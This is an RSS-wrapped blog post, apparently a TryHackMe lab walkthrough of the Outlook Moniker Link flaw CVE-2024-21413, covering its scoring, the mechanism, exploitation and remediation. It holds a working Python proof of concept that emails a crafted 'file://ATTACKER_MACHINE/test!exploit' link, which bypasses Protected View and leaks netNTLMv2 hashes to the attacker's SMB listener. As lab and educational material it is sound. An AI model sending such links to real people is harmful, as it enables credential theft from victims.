<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Moniker Link (CVE-2024-21413)]]></title><description><![CDATA[Moniker Link (CVE-2024-21413)]]></description><link>https://moniker-link-cve-2024-21413.hashnode.dev</link><generator>RSS for Node</generator><lastBuildDate>Wed, 14 Oct 2026 13:42:08 GMT</lastBuildDate><atom:link href="https://moniker-link-cve-2024-21413.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Moniker Link (CVE-2024-21413)]]></title><description><![CDATA[Introduction
On February 13, 2024, Microsoft disclosed CVE-2024-21413, a critical Outlook vulnerability discovered by Haifei Li of Check Point Research. The flaw allows attackers to bypass Outlook's security using a Moniker Link — a special type of h...]]></description><link>https://moniker-link-cve-2024-21413.hashnode.dev/moniker-link-cve-2024-21413</link><guid isPermaLink="true">https://moniker-link-cve-2024-21413.hashnode.dev/moniker-link-cve-2024-21413</guid><category><![CDATA[moniker-link]]></category><category><![CDATA[CVE]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[tryhackme]]></category><category><![CDATA[tryhackmewalkthrough]]></category><dc:creator><![CDATA[MD MUNIF MUBTASHIM]]></dc:creator><pubDate>Wed, 30 Jul 2025 14:10:19 GMT</pubDate><content:encoded><![CDATA[<h3 id="heading-introduction">Introduction</h3>
<p>On February 13, 2024, Microsoft disclosed <strong>CVE-2024-21413</strong>, a critical <strong>Outlook vulnerability</strong> discovered by Haifei Li of Check Point Research. The flaw allows attackers to bypass Outlook's security using a <strong>Moniker Link</strong> — a special type of hyperlink.</p>
<p>By tricking users into clicking a malicious link in an email, attackers can trigger Outlook to <strong>leak NTLM credentials</strong> to a remote server, potentially leading to <strong>Remote Code Execution (RCE)</strong> or credential theft.</p>
<p>Details relating to the scoring of the vulnerability have been provided in the table below:</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>CVSS</strong></td><td><strong>Description</strong></td></tr>
</thead>
<tbody>
<tr>
<td>Publish date</td><td>February 13th, 2024</td></tr>
<tr>
<td>MS article</td><td><a target="_blank" href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-21413">https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-21413</a></td></tr>
<tr>
<td>Impact</td><td>Remote Code Execution &amp; Credential Leak</td></tr>
<tr>
<td>Severity</td><td>Critical</td></tr>
<tr>
<td>Attack Complexity</td><td>Low</td></tr>
<tr>
<td>Scoring</td><td>9.8</td></tr>
</tbody>
</table>
</div><p>The vulnerability is known to affect the following Office releases:</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>Release</strong></td><td><strong>Version</strong></td></tr>
</thead>
<tbody>
<tr>
<td>Microsoft Office LTSC 2021</td><td>affected from 19.0.0</td></tr>
<tr>
<td>Microsoft 365 Apps for Enterprise</td><td>affected from 16.0.1</td></tr>
<tr>
<td>Microsoft Office 2019</td><td>affected from 16.0.1</td></tr>
<tr>
<td>Microsoft Office 2016</td><td>affected from 16.0.0 before 16.0.5435.1001</td></tr>
</tbody>
</table>
</div><p>What "Severity" rating has the CVE been assigned?</p>
<p>Answer:What "Severity" rating has the CVE been assigned?</p>
<h3 id="heading-moniker-link-cve-2024-21413">Moniker Link (CVE-2024-21413)</h3>
<p>Outlook renders emails in <strong>HTML</strong>, allowing rich content like images and styled newsletters. It can parse regular links like <strong>HTTP</strong> and <strong>HTTPS</strong>, but also supports special <strong>Moniker Links</strong>—URLs that point to applications.</p>
<p>While Outlook usually shows a <strong>security warning</strong> before opening such external applications, attackers can exploit certain cases to <strong>bypass this protection</strong>, putting users at risk.</p>
<p><img src="https://research.checkpoint.com/wp-content/uploads/2024/02/HBNP4GTD5Y-image1.png" alt="https://research.checkpoint.com/wp-content/uploads/2024/02/HBNP4GTD5Y-image1.png" /></p>
<p>Outlook’s <strong>Protected View</strong> opens potentially risky emails—like those with attachments or hyperlinks—in <strong>read-only mode</strong>, blocking actions such as running macros or accessing external content.</p>
<p>Attackers can try to exploit this by using a <a target="_blank"><code>file://</code></a> Moniker Link (e.g., <code>&lt;a href="</code><a target="_blank"><code>file://ATTACKER_IP/test"&gt;Click</code></a> <code>me&lt;/a&gt;</code>), which prompts Outlook to access a remote file via <strong>SMB</strong>, automatically sending <strong>NTLM credentials</strong>. Fortunately, <strong>Protected View blocks</strong> this attempt in most cases—serving as a key defense.</p>
<p>The core of <strong>CVE-2024-21413</strong> lies in a clever trick: by adding the <code>!</code> (exclamation mark) and extra text to a Moniker Link (e.g.,<br /><code>&lt;a href="</code><a target="_blank"><code>file://ATTACKER_IP/test!exploit"&gt;Click</code></a> <code>me&lt;/a&gt;</code>), attackers can <strong>bypass Outlook’s Protected View</strong>.</p>
<p>This bypass forces Outlook to initiate a connection, leaking the victim’s <strong>netNTLMv2 credentials</strong>—all without triggering the usual security warning.</p>
<p><code>&lt;p&gt;&lt;a href="</code><a target="_blank"><code>file://ATTACKER_MACHINE/test!exploit"&gt;Click</code></a> <code>me&lt;/a&gt;&lt;/p&gt;</code></p>
<p>An attacker can craft a <strong>Moniker Link</strong> that triggers Outlook to connect to a remote SMB share—<strong>even if the share doesn’t exist</strong>. This forces Windows to attempt authentication, leaking the victim’s <strong>netNTLMv2 hash</strong>.</p>
<p>While <strong>Remote Code Execution (RCE)</strong> is theoretically possible due to Windows’ use of <strong>COM (Component Object Model)</strong> with Moniker Links, there is currently <strong>no public proof-of-concept</strong> demonstrating RCE for <strong>CVE-2024-21413</strong>, and it remains out of scope for now.</p>
<p>What Moniker Link type do we use in the hyperlink?</p>
<p>Answer: <a target="_blank">file://</a></p>
<p>What is the special character used to bypass Outlook's "Protected View"?</p>
<p>Answer: !</p>
<h3 id="heading-exploitation">Exploitation</h3>
<p>To carry out this attack, the attacker sends the victim an email containing a <strong>crafted Moniker Link</strong>—such as the one shown earlier—that includes the <code>!</code> character to <strong>bypass Outlook’s Protected View</strong>.</p>
<p>When the victim opens the email and clicks the link, Outlook attempts to load a file from the attacker’s machine using <strong>SMB</strong>, causing the victim’s system to automatically send their <strong>netNTLMv2 hash</strong>, which the attacker can then capture.</p>
<p>Let’s run through a PoC I have created (which is also available on <a target="_blank" href="https://github.com/CMNatic/CVE-2024-21413">Github</a>).</p>
<pre><code class="lang-python"><span class="hljs-string">'''
Author: CMNatic | https://github.com/cmnatic
Version: 1.0 | 19/02/2024
'''</span>

<span class="hljs-keyword">import</span> smtplib
<span class="hljs-keyword">from</span> email.mime.text <span class="hljs-keyword">import</span> MIMEText
<span class="hljs-keyword">from</span> email.mime.multipart <span class="hljs-keyword">import</span> MIMEMultipart
<span class="hljs-keyword">from</span> email.utils <span class="hljs-keyword">import</span> formataddr

sender_email = <span class="hljs-string">'attacker@monikerlink.thm'</span> <span class="hljs-comment"># Replace with your sender email address</span>
receiver_email = <span class="hljs-string">'victim@monikerlink.thm'</span> <span class="hljs-comment"># Replace with the recipient email address</span>
password = input(<span class="hljs-string">"Enter your attacker email password: "</span>)
html_content = <span class="hljs-string">"""\
&lt;!DOCTYPE html&gt;
&lt;html lang="en"&gt;
    &lt;p&gt;&lt;a href="file://ATTACKER_MACHINE/test!exploit"&gt;Click me&lt;/a&gt;&lt;/p&gt;

    &lt;/body&gt;
&lt;/html&gt;"""</span>

message = MIMEMultipart()
message[<span class="hljs-string">'Subject'</span>] = <span class="hljs-string">"CVE-2024-21413"</span>
message[<span class="hljs-string">"From"</span>] = formataddr((<span class="hljs-string">'CMNatic'</span>, sender_email))
message[<span class="hljs-string">"To"</span>] = receiver_email

<span class="hljs-comment"># Convert the HTML string into bytes and attach it to the message object</span>
msgHtml = MIMEText(html_content,<span class="hljs-string">'html'</span>)
message.attach(msgHtml)

server = smtplib.SMTP(<span class="hljs-string">'MAILSERVER'</span>, <span class="hljs-number">25</span>)
server.ehlo()
<span class="hljs-keyword">try</span>:
    server.login(sender_email, password)
<span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> err:
    print(err)
    exit(<span class="hljs-number">-1</span>)

<span class="hljs-keyword">try</span>:
    server.sendmail(sender_email, [receiver_email], message.as_string())
    print(<span class="hljs-string">"\n Email delivered"</span>)
<span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> error:
    print(error)
<span class="hljs-keyword">finally</span>:
    server.quit()
</code></pre>
<p>The PoC:</p>
<ul>
<li><p>Takes an attacker &amp; victim email. Normally, you would need to use your own SMTP server (this has already been provided for you in this room)</p>
</li>
<li><p>Requires the password to authenticate. For this room, the password for <strong>attacker@monikerlink.thm</strong> is <strong>attacker</strong></p>
</li>
<li><p>Contains the email content (html_content), which contains our Moniker Link as a HTML hyperlink</p>
</li>
<li><p>Then, fill in the "subject", "from" and "to" fields in the email</p>
</li>
<li><p>Finally, it sends the email to the mail server</p>
</li>
</ul>
<p>the interface will be <code>-I ens5</code>. The interface name will differ if you are using your own device (i.e. Kali).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753882909662/9cf62155-93fc-4238-95d0-75d92c8b9031.png" alt class="image--center mx-auto" /></p>
<p><img src="https://assets.tryhackme.com/additional/CVE-2024-21410/abcopypaste.gif" alt="https://assets.tryhackme.com/additional/CVE-2024-21410/abcopypaste.gif" /></p>
<p>What is the name of the application that we use on the AttackBox to capture the user's hash?</p>
<p>Answer: responder</p>
<p>What type of hash is captured once the hyperlink in the email has been clicked?</p>
<p>Answer:netNTLMv2</p>
<h3 id="heading-remediation">Remediation</h3>
<p>Microsoft has included patches to resolve this vulnerability in February’s “patch Tuesday” release. You can see a list of KB articles by Office build <a target="_blank" href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-21413">here</a><a target="_blank" href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-21413">. Up</a>dating Office through Windows Update or the <a target="_blank" href="https://www.catalog.update.microsoft.com/Home.aspx">Microsoft Update Catalog</a> <a target="_blank" href="https://www.catalog.update.microsoft.com/Home.aspx">is strongly recommended</a>.</p>
<p>Additionally, in the meantime, it is a timely reminder to practice general - safe - cyber security practices. For example, reminding users to:</p>
<ul>
<li><p>Do not c<a target="_blank" href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-21413">lick</a> random links (especially from unsolicited emails)</p>
</li>
<li><p>Preview links <a target="_blank" href="https://www.catalog.update.microsoft.com/Home.aspx">before clicking them</a></p>
</li>
<li><p>Forward suspicious emails to the respective depart<a target="_blank" href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-21413">ment</a> responsible for cyber security</p>
</li>
</ul>
<p>Since this vulnerability by<a target="_blank" href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-21413">pass</a>es <a target="_blank" href="https://www.catalog.update.microsoft.com/Home.aspx">Outlook's Protected Vie</a>w, there <a target="_blank" href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-21413">is</a> no way to reconfigure Outlook <a target="_blank" href="https://www.catalog.update.microsoft.com/Home.aspx">to prevent this attack.</a> Additionally, <a target="_blank" href="https://www.catalog.update.microsoft.com/Home.aspx">preventing the SM</a><a target="_blank" href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-21413">B pr</a><a target="_blank" href="https://www.catalog.update.microsoft.com/Home.aspx">oto</a>col entirely may do more harm than good, especially as it is esse<a target="_blank" href="https://www.catalog.update.microsoft.com/Home.aspx">ntial for accessing netw</a>ork shares. However, you may be able to block this at the firewall level, depending on the organisation.</p>
]]></content:encoded></item></channel></rss>